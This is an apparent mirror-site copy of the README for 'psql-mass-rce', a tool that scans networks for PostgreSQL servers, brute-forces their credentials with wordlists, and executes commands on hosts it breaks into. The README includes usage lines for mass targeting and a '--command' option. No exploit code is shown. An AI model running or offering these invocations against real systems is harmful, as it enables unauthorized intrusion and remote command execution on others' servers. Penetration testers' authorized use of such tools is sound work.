Git Product home page Git Product logo

psql-mass-rce's Introduction

Conviniently invoke RCE on PostgreSQL servers in network

How does it work?

Few examples to give you an idea:

Example Comment
./psql-mass-rce.py 10.1.1.10 192.168.0.100-150 --port 5433 Accepts any number of any targets
./psql-mass-rce.py 10.1.1.1/30 ./psql.gnmap --passfile rockyou.txt Accepts IP subnets and .gnmap files
./psql-mass-rce.py -iL ./targets.txt --userfile users.txt Load IP[:port] from local file (nmap-alike)

Scripts does the following:

  1. Checks if port is open
  2. Bruteforces credentials (using built-in dictionary or user files)
  3. Determines PostgreSQL version and OS
  4. Executes RCE if database user has enough rights

Live hosts with good credentials are saved to session file. After reconnaissance you may want to run RCE on those:
./psql-mass-rce.py --saved --command 'whoami'

Installation:

pip3 install -r requirements.txt

Which PostgreSQL versions can give me RCE?

PostgreSQL verions 9 and 10 (version 8 is in development).

Any zero-days inside?

Not yet. Technique was published almost 3 years ago.

Will it save my time?

Definately yes.

Before After
1. run nmap for port scanning
2. run patator/hydra to bruteforce credentials
3. run psql binary to connect and check version
4. copy-paste payloads, or launch MSF postgres_payload manually at each host.
./psql-mass-rce.py 10.1.1.0/24

Full help:

psql-mass-rce v0.1

Usage: psql-mass-rce.py targets [-iL TARGETS_FILE] [--userfile USERFILE]
               [--passfile PASSFILE] [--command COMMAND] [--port PORT]
               [--saved]

Necessary arguments:
  targets              Accepts any number of these: IP, subnet, or .gnmap file

Optional arguments:
  -h, --help           show this help message and exit
  -iL TARGETS_FILE     Load IP[:port] targets from local file
  --userfile USERFILE  File with a list of users
  --passfile PASSFILE  File with a list of passwords
  --command COMMAND    Command to execute on a target machine
  --port PORT          Port to connect
  --saved              Work on targets from saved session file

psql-mass-rce's People

Contributors

attackercan avatar mohemiv avatar testpersonal avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.